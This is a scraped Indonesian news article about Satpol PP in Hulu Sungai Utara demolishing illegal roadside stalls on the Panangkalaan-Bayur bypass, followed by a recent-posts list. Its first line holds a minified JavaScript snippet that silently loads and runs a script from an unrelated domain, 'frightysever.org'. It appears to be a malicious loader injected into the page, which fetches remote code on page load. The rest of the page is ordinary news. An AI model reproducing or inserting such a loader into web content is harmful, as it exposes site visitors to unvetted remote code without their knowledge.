(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Satpol PP HSU Bongkar Bangunan di Jalan Bypass Panangkalaan-Bayur


KANALKALIMANTAN.COM, AMUNTAI – Satpol PP Kabupaten Hulu Sungai Utara (HSU) merobohkan bangunan warung yang melanggar aturan di jalan bypass Panangkalaan-Bayur, Sabtu (22/6/2024) siang.

Sebelumnya juga ditertibkan beberapa lapak yang tidak dibawa pedagang alias sengaja ditinggal di sekitar tepi jalan bypass yang baru selesai itu.

Kepala Satpol PP dan Damkar Kabupaten HSU, Asikin Noor, saat dikonfirmasi membenarkan, pihaknya kembali melakukan penertiban bangunan warung di ruas bypass Panangkalaan-Bayur.

Baca juga: Pataka Dipindahkan, Polda Kalsel Resmi Bermarkas di Banjarbaru

Dia menjelaskan penertiban ini dilakukan berdasarkan Perda Nomor 9 tahun 2018 tentang Ketertiban Umum dan Ketentraman Masyarakat dan Perda Nomor 3 tahun 2013 tentang Bangunan Gedung.

“Tujuannya menjaga jalan bypass Bayur-Panangkalaan tertib, bersih, dan indah,” kata Asikin Noor kepada Kanalkalimantan.com.

Sasaran Satpol PP HSU Kali ini adalah 10 bangunan warung yang terindikasi melanggar ketentuan berdiri di atas badan jalan tanah milik pemerintah.

Baca juga: Kesiapan Guru Pendidikan Agama Islam dalam Menghadapi Isu Global saat Ini

Sebelumnya pihaknya juga telah melakukan upaya sesuai SOP melalui teguran lisan, teguran tertulis, Surat Peringatan (SP) 1, 2, dan SP 3. Dari 10 pelanggar itu sebelum dilaksanakan eksekusi enam diantaranya sudah melakukan pembongkaran secara mandiri bangunan di atas tanah pemerintah.

“Data awal 10 buah, tapi sebelumnya ada beberapa yang sudah merapikan secara mandiri, jadi hari ini 4 buah saja lagi,” katanya.

Dalam pembongkaran kali ini pihaknya melibatkan personel gabungan yang terdiri dari Satpol PP Damkar, Polri, TNI, Dishub, PUPR, Perkim LH, aparat kecamatan dan desa terkait yaitu Kecamatan Haur Gading dan Amuntai Utara.

Baca juga: 80 Mobil Garuk Tanah Jajal Trek Jack’s Overland #2 Banjarbaru-Kiram

Sebelum lakukan penindakan pihaknya juga telah membuat edaran dan melakukan sosialisasi. Ditambah di beberapa titik dipasangi tulisan peringatan berisi larangan mendirikan bangunan, warung, toko, lapak dan sarana apapun di ruang milik jalan atau tanah milik pemerintah.

Satpol PP HSU juga mengimbauan kepada para pedagang yang berjualan agar memperhatikan dan menjaga kebersihan, tidak mengganggu arus lalu lintas, tidak meninggalkan lapak dagangan di badan atau pinggir jalan.

Baca juga: PLN Perusahaan Utilitas Terbaik Versi Fortune 500 Se Kawasan Asia Tenggara

“Kepada yang akan membangun warung, rumah, ruko dan sejenisnya agar mentaati ketentuan seperti perizinan, tidak di atas tanah jalan tanah milik pemerintah, jarak sempadan bangunan dan lain-lain,” pungkasnya.(Kanalkalimantan.com/dew)

Reporter: dew
Editor: bie


Muhammad Andi

Recent Posts

Ini Makna di Balik Shio Kuda Api Imlek 2026

KANALKALIMANTAN.COM, BANJARMASIN – Kuda Api menjadi shio di tahun baru Imlek 2026. Apa makna di… Read More

2 jam ago

Malam Imlek Penuh Khidmat di Klenteng Karta Raharja Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN – Di bawah kilauan lampion dan lilin yang berjejer rapi, ratusan warga Tionghoa… Read More

3 jam ago

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

21 jam ago

‎Berbagi Semangat Mengaji dengan Dansatgas TMMD di TPA Al Ikhlas

‎KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More

1 hari ago

Hendak Tawuran, 16 Remaja Bawa Sajam Diamankan

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More

1 hari ago

“Bakawaan Season 1” Perkuat Kolaborasi Ekosistem Ekraf Balangan

KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More

2 hari ago

This website uses cookies.